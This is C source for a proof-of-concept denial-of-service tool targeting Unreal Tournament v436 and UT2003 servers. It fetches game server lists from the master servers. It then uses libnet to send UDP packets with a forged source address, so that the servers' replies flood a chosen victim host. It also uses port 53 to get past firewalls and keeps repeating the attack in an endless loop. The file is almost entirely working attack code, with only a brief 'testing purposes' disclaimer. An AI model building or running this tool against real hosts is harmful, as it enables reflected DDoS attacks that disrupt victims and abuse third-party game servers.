/*

UT v436 and UT2003 Dos and DDoS attack proof-of-concept
by Luigi Auriemma
e-mail: aluigi@autistici.org
web:    aluigi.org

Attention use this tool only for testing purposes.
It's a real DoS and DDoS tool that use UT and UT2003 server like attack's machines
versus any host reachable via Internet.
If you have any suggestion please send me a mail.


An example of usage can be:

utddos 0 127.0.0.1 5 200
or
utddos 1 www.whatyouwant.com 128 300

0 for use UT servers (I suggest it)
1 for use UT2003 servers
if the target is 127.0.0.1 it will be a DoS versus each UT servers:
Have you ever seen UT that run on a 8086? 8-)


NOTE:
For use this utility you must have at least Libnet 1.1.0 (remember that
Libnet has been rewritten from the 1.1.0 version so all the previous
versions are incompatibles!!!).

http://www.packetfactory.net/libnet

gcc utddos.c -o utddos -lnet


* this software is covered by GNU GPL
*/


#include <stdio.h>
#include <stdlib.h>
#include <libnet.h>
#include <string.h>
#include <time.h>


#define VER        "0.4"
#define MASTER        "unreal.epicgames.com"
#define MASTERPORT    28900
#define UT2003SERVER    "ut2003master.epicgames.com"
#define UT2003URI    "GET /serverlist/full-all.txt HTTP/1.0\r\n\r\n"
#define IPREQ        "\\gamename\\ut\\location\\0\\validate\\0\\final\\\\list\\\\gamename\\ut\\final\\"
#define UTTOKEN        "ip\\"        /* Example: */
#define UTEND        ':'        /* ip\208.254.41.133:7778\ */
#define UT2003TOKEN    "\n"        /* Example: */
#define UT2003END    '\t'        /* 213.156.58.195    7777    7787 */
#define RECVSZ        1024        /* how many bytes we want to "get" in download */
#define PORT        7777        /* UT server default port */
#define SPORT        53        /* we use 53 for bypass some firewalls (used only for UT) */
#define UT2TIMEOUT    200        /* UT2003 default timeout in seconds (3 minutes) */
#define UTTIMEOUT    150        /* 2 minutes and 30 seconds (default UT timeout) */
#define RECOVER        150        /* entries cleaned in 1 second (about) */
#define DELAY        0        /* or also CLOCKS_PER_SEC / 100 for example */
#define IPV4SZ        16        /* how long is the IP plus \0 */


int get_ip(void);
void get_ut_servers(void);
void get_ut2003_servers(void);
void receive_data(int sock);
void libnet_err(void);
void std_err(void);


u_int        *daddr;        /* array with servers IP */
char        *iplist,    /* buffer that point to servers list (for UT it's the same of buff) */
        *buff;        /* buffer used for ALL the data */
u_short        *ut2003_port;    /* only used by UT2003 servers, UT use 7777 */
int        ipnum,        /* number of servers we want to use */
        utver;        /* 0 = UT, 1 = UT2003 */
libnet_t    *libsock;


int main(int argc, char *argv[]) {
    char    errbuf[LIBNET_ERRBUF_SIZE];
    libnet_ptag_t    ipv4_tag;
    libnet_ptag_t    udp_tag;
    int    err,
        i,
        j,
        max;
    u_int    ip_src;
    clock_t    start,
        stop,
        timeout = 0,
        recover = 0;    /* seconds to add for let the UT server to */
                /* clean the previous packets in timeout */

    setbuf(stdout, NULL);

    /* Banner & Usage */
    printf("\n"
        "UT v436 and UT2003 Dos and DDoS attack %s\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@autistici.org\n"
        "web:    aluigi.org\n\n"
        "(UT servers without IPDrv.dll fix and Win9x/ME are vulnerable)\n"
        "Use 127.0.0.1 host for a DoS versus the same UT servers\n\n", VER);
    if(argc < 5) {
        printf("\nUsage: %s <0=UT|1=UT2003> <host_to_flood> <#_of_UT_servers> <#_of_packets>\n", argv[0]);
        exit(1);
    }

    /* lame initialization of the Ips'array and other var */
    ipnum = atoi(argv[3]);
    daddr = malloc(ipnum * sizeof(u_int));
    if(daddr == NULL) std_err();
    buff = malloc(RECVSZ);    /* we allocate a small size so we can use it as temp buffer */
    if(buff == NULL) std_err();
    max = atoi(argv[4]);


    /* libnet socket initialization */
    libsock = libnet_init(
        LIBNET_RAW4,    /* or LIBNET_LINK or LIBNET_RAW6 */
        NULL,        /* or device if you using LIBNET_LINK */
        errbuf);
    if(!libsock) {
        printf("\nError: %s\n", errbuf);
        exit(1);
    }

    /* resolve source host */
    ip_src = libnet_name2addr4(libsock, argv[2], LIBNET_RESOLVE);
    if(ip_src == INADDR_NONE) libnet_err();


    /* UT servers choice */
    utver = atoi(argv[1]);
    switch(utver) {
        case 0: get_ut_servers(); break;
        case 1: {
            ut2003_port = malloc(ipnum * sizeof(u_short));
            if(ut2003_port == NULL) std_err();
            get_ut2003_servers();
            recover = (max / RECOVER) + 1;
        }; break;
        default: {
            printf("\nError: You must choose 0 for use UT servers and 1 for UT2003\n");
            exit(1);
        }; break;
    }
    /* we must deallocate *buff!!! So we can free all the buffer memory */
    free(buff);


    /* BEGIN ATTACK 8-) */

    /* UDP packet building for UT (not UT2003) */
        udp_tag = libnet_build_udp(
        SPORT,                            /* source UDP port */
        PORT,                            /* dest UDP port */
        LIBNET_UDP_H,                        /* packet length */
        0,                            /* checksum */
        NULL,                            /* payload (none) */
        0,                            /* payload length */
        libsock,                        /* libnet context */
        0);                            /* ptag */

    if(udp_tag < 0) libnet_err();
    ipv4_tag = LIBNET_PTAG_INITIALIZER;

        while(1) {

        /* I prefer to use calendar time so I have directly the time in seconds */
        start = time(0);
        printf("\n");

        for(j = 0; j < ipnum; j++) {

            /* UT server IP reading */
            if(utver == 0) printf("\n%s ", inet_ntoa(*(struct in_addr *)&daddr[j]));
                else printf("\n%s:%u ", inet_ntoa(*(struct in_addr *)&daddr[j]), ut2003_port[j]);

            /* IP packet building */
            ipv4_tag = libnet_build_ipv4(
                LIBNET_UDP_H + LIBNET_IPV4_H,        /* total packet len */
                0x10,                    /* ToS */
                rand() / (RAND_MAX / 65535 + 1),    /* IP ID */
                0,                    /* IP Frag */
                128,                    /* TTL */
                IPPROTO_UDP,                /* protocol */
                0,                    /* checksum */
                ip_src,                    /* source ip */
                daddr[j],                /* dest ip */
                NULL,                    /* payload (none) */
                0,                    /* payload size */
                libsock,                /* libnet context */
                ipv4_tag);                /* ptag */

            if(ipv4_tag < 0) libnet_err();


            /* send max packets to each UT server */
            for(i = 1; i <= max; i++) {

                /* UT2003 need different source ports */
                /* so is better to use UT servers because they can bypass firewalls */
                /* using DNS port (53 UDP) */
                if(utver == 1) {
                        udp_tag = libnet_build_udp(
                        i,            /* source UDP port */
                        ut2003_port[j],        /* dest UDP port */
                        LIBNET_UDP_H,        /* packet length */
                        0,            /* checksum */
                        NULL,            /* payload (none) */
                        0,            /* payload length */
                        libsock,        /* libnet context */
                        udp_tag);        /* ptag */

                    if(udp_tag < 0) libnet_err();
                }

                /* sending all */
                err = libnet_write(libsock);
                if(err < (LIBNET_UDP_H + LIBNET_IPV4_H)) libnet_err();
                printf(".");
                usleep(DELAY);
            }
        }

        printf("\n");
        stop = time(0) - start;
        switch(utver) {
            case 0: {
                if(stop < UTTIMEOUT) timeout = (UTTIMEOUT - stop);
                    else timeout = 0;
                }; break;
            case 1: {
                if(stop < UT2TIMEOUT) timeout = (UT2TIMEOUT - stop) + recover;
                    else timeout = 0;
                }; break;
        }
        for(; timeout > 0; timeout--) {
            printf("Wait %3u seconds\r", timeout);
            sleep(1);
        }
    }

    libnet_destroy(libsock);
    printf("\n");
    return(0);
}


/* function for read all the list of UT servers */
int get_ip(void) {
        char    *stri,
        *strf,
        *token,
        end;
    int    i = 0,
        j = 1,
        strtoken;

    if(utver == 0) {
        token = UTTOKEN;
        strtoken = sizeof(UTTOKEN) - 1;
        end = UTEND;
        printf("\nUT servers: \n\n");
    } else {
        token = UT2003TOKEN;
        strtoken = sizeof(UT2003TOKEN) - 1;
        end = UT2003END;
        printf("\nUT2003 servers: \n\n");
    }

    while(i != ipnum) {
        if((stri = strstr(iplist, token))) {
                    stri += strtoken;
                    strf = strchr(stri, end);
            if(strf) *strf = 0;
                else break;
            daddr[i] = inet_addr(stri);
            if(utver == 1) ut2003_port[i] = atoi(strf + 1);
            iplist = strf + 2;
            printf("%s", inet_ntoa(*(struct in_addr *)&daddr[i]));
            if(j < 5) printf("\t");
            else {
                printf("\n");
                j = 0;
            }
            j++;
            } else break;
        i++;
    }
    printf("\n");
    return(i);
}


/* function for read UT server IPs from the Master Server */
void get_ut_servers(void) {
    int    sock,
        err;
    struct    sockaddr_in    peer;

    printf("\nUnrealTournament servers\n");

    /* sock initialization */
    peer.sin_addr.s_addr = libnet_name2addr4(libsock, MASTER, LIBNET_RESOLVE);
    if(peer.sin_addr.s_addr == INADDR_NONE) libnet_err();
    peer.sin_port        = htons(MASTERPORT);
    peer.sin_family      = AF_INET;

    sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if(sock < 0) std_err();
    printf("- Connection to server %s:%d\n", inet_ntoa(peer.sin_addr), MASTERPORT);
    err = connect(sock, (struct sockaddr *)&peer, sizeof(peer));
    if(err < 0) std_err();

    err = recv(sock, buff, RECVSZ, 0);
    if(err < 0) std_err();
    printf("- Received server header\n");
    err = send(sock, IPREQ, sizeof(IPREQ) - 1, 0);
    if(err < 0) std_err();
    printf("- Request sent\n");
    err = recv(sock, buff, RECVSZ, 0);
    if(err < 0) std_err();
    printf("- Receive data: ");

    receive_data(sock);

    close(sock);

    iplist = buff;
    ipnum = get_ip();
}


/* function for read UT2003 server IPs */
void get_ut2003_servers(void) {
    int    sock,
        err;
    struct    sockaddr_in    peer;

    printf("\nUnrealTournament 2003 servers\n");

    /* sock initialization */
    peer.sin_addr.s_addr = libnet_name2addr4(libsock, UT2003SERVER, LIBNET_RESOLVE);
    if(peer.sin_addr.s_addr == INADDR_NONE) libnet_err();
    peer.sin_port        = htons(80);
    peer.sin_family      = AF_INET;

    sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if(sock < 0) std_err();
    printf("- Connection to server %s:%d\n", inet_ntoa(peer.sin_addr), 80);
    err = connect(sock, (struct sockaddr *)&peer, sizeof(peer));
    if(err < 0) std_err();

    printf("- Send request\n");
    err = send(sock, UT2003URI, sizeof(UT2003URI) - 1, 0);
    if(err < 0) std_err();

    printf("- Receive data: ");
    receive_data(sock);

    close(sock);

    iplist = strstr(buff, "\r\n\r\n");
    if(!iplist) {
        iplist = strstr(buff, "\n\n");
        if(!iplist) {
            printf("\nError: No http header in the answer, retry\n");
            exit(1);
        } else iplist += 2;
    } else iplist += 4;

    ipnum = get_ip();
}


/* we read server data */
void receive_data(int sock) {
    int    length = 0,
        err;
    fd_set    readset;

    while(1) {
        FD_ZERO(&readset);
        FD_SET(sock, &readset);
        err = select(sock + 1, &readset, NULL, NULL, NULL);
        if(err < 0) std_err();

        if(FD_ISSET(sock, &readset)) {
            err = recv(sock, buff + length, RECVSZ, 0);
            if(err < 0) std_err();
            if(!err) break;
            length += err;
            buff = realloc(buff, length + RECVSZ);
            if(buff == NULL) std_err();
            printf(".");
            continue;
        }
    }
    buff[length] = 0;
    printf("\nAll server IPs received (%d bytes)\n", length);
}


/* libnet error function */
void libnet_err(void) {
    printf("\nError: %s\n", libnet_geterror(libsock));
    libnet_destroy(libsock);
    exit(1);
}


/* generic error management (socket or memory) */
void std_err(void) {
    perror("\nError");
    exit(1);
}
